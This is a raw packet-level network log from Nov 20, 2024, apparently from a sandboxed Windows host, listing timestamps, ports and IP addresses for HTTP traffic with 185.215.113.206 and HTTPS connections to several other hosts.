Nov 20, 2024 23:12:55.911056995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.911175966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.911799908 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.911853075 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.911988020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.912033081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.912638903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.912691116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.912766933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.912857056 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.913615942 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.913659096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.913695097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.913733959 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.914370060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.914416075 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.914505959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.914583921 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.915198088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.915344954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.915349960 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.915385008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.916085958 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.916134119 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.916192055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.916444063 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.916908026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.916946888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.917057991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.917093992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.917764902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.917830944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.917920113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.918078899 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.918642044 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.918685913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.918803930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.918917894 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.919447899 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.919502974 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.919539928 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.919792891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.920310974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.920366049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.920419931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.920458078 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.921192884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.921241999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.921287060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.921324015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.922003031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.922058105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.922096014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.922255039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.922863007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.922909021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.923013926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.923068047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.923715115 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.923818111 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.923882961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.924002886 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.924529076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.924573898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.924645901 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.924698114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.925426006 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.925473928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.925482035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.925524950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.926271915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.926318884 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.926320076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.926356077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.927062988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.927248001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.940882921 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.941231966 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.941298008 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.942332029 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.942416906 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.942715883 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.942776918 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.942787886 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.942853928 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.942872047 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:55.942888975 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.942946911 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.943131924 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.943152905 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.943165064 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.943170071 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.946122885 CET	49886	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.946151018 CET	443	49886	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.946208000 CET	49886	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.946569920 CET	49886	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.946583986 CET	443	49886	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.974225044 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:55.974261045 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:55.974414110 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:55.974622965 CET	49887	443	192.168.2.7	20.190.181.5
Nov 20, 2024 23:12:55.974641085 CET	443	49887	20.190.181.5	192.168.2.7
Nov 20, 2024 23:12:55.994107008 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:55.995217085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.995277882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.995424986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.995541096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.995594025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.995613098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.995640039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.995676041 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.996443987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.996495008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.996557951 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.996597052 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.997283936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.997334957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.997402906 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.997467041 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.998153925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.998226881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.998305082 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.998354912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.998987913 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.999036074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.999094009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.999138117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.999835968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.999896049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.999955893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.000000000 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.000708103 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.000829935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.000879049 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.001580954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.001631975 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.001739025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.001790047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.002468109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.002479076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.002528906 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.003233910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.003287077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.003341913 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.003388882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.004101038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.004153967 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.004193068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.004239082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.004926920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.004976034 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.005024910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.005072117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.005811930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.005862951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.005906105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.005954981 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.006638050 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.006721020 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.006748915 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.006789923 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.007473946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.007524967 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.007563114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.007608891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.008327007 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.008378029 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.008404970 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.008445978 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.009181023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.009267092 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.009268045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.009310007 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.010046005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.010137081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.010159969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.010179996 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.010875940 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.010967970 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.010983944 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.011023998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.011725903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.011776924 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.011821985 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.011878014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.012583017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.012633085 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.012685061 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.012761116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.013451099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.013498068 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.013668060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.013719082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.014280081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.014328003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.014460087 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.014615059 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.015105009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.015176058 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.015206099 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.015274048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.016009092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.016066074 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.016098022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.016149998 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.016851902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.016936064 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.016936064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.016979933 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.017710924 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.017765999 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.017863989 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.017913103 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.018515110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.018569946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.018579006 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.018619061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.019390106 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.019438028 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.019469976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.019593954 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.081378937 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.081548929 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.081697941 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.081739902 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.081739902 CET	49871	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.081758976 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.081768990 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.084383011 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.084420919 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.084489107 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.084635019 CET	49888	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.084646940 CET	443	49888	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.103714943 CET	443	49877	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.103787899 CET	443	49877	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.103846073 CET	49877	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.104398966 CET	49877	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.104419947 CET	443	49877	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.104430914 CET	49877	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.104437113 CET	443	49877	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.111526966 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.111563921 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.111699104 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.112145901 CET	49889	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.112159014 CET	443	49889	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.118710041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.118779898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.118802071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.118835926 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.119162083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.119211912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.119288921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.119330883 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.120007992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.120049953 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.120192051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.120234013 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.120870113 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.120929003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.121016026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.121133089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.121675968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.121725082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.121777058 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.121814966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.122519016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.122574091 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.122636080 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.122761965 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.123392105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.123461008 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.123486996 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.123622894 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.124222994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.124273062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.124334097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.124372005 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.125073910 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.125190973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.125248909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.125289917 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.125940084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.125989914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.126043081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.126085043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.127024889 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.127073050 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.127154112 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.127265930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.127636909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.127691031 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.127774000 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.127814054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.128465891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.128531933 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.128563881 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.128603935 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.129343033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.129400015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.129484892 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.129587889 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.130162954 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.130212069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.130268097 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.130424023 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.131014109 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.131076097 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.131095886 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.131138086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.131865025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.131923914 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.131956100 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.131973982 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.132750034 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.132810116 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.132834911 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.132879972 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.133580923 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.133625984 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.133706093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.133805990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.134413004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.134526968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.134557009 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.134577036 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.135267973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.135305882 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.135334969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.135360003 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.136121035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.136169910 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.136243105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.136291027 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.136976957 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.137046099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.137110949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.137182951 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.137789965 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.137855053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.178227901 CET	443	49878	13.107.246.40	192.168.2.7
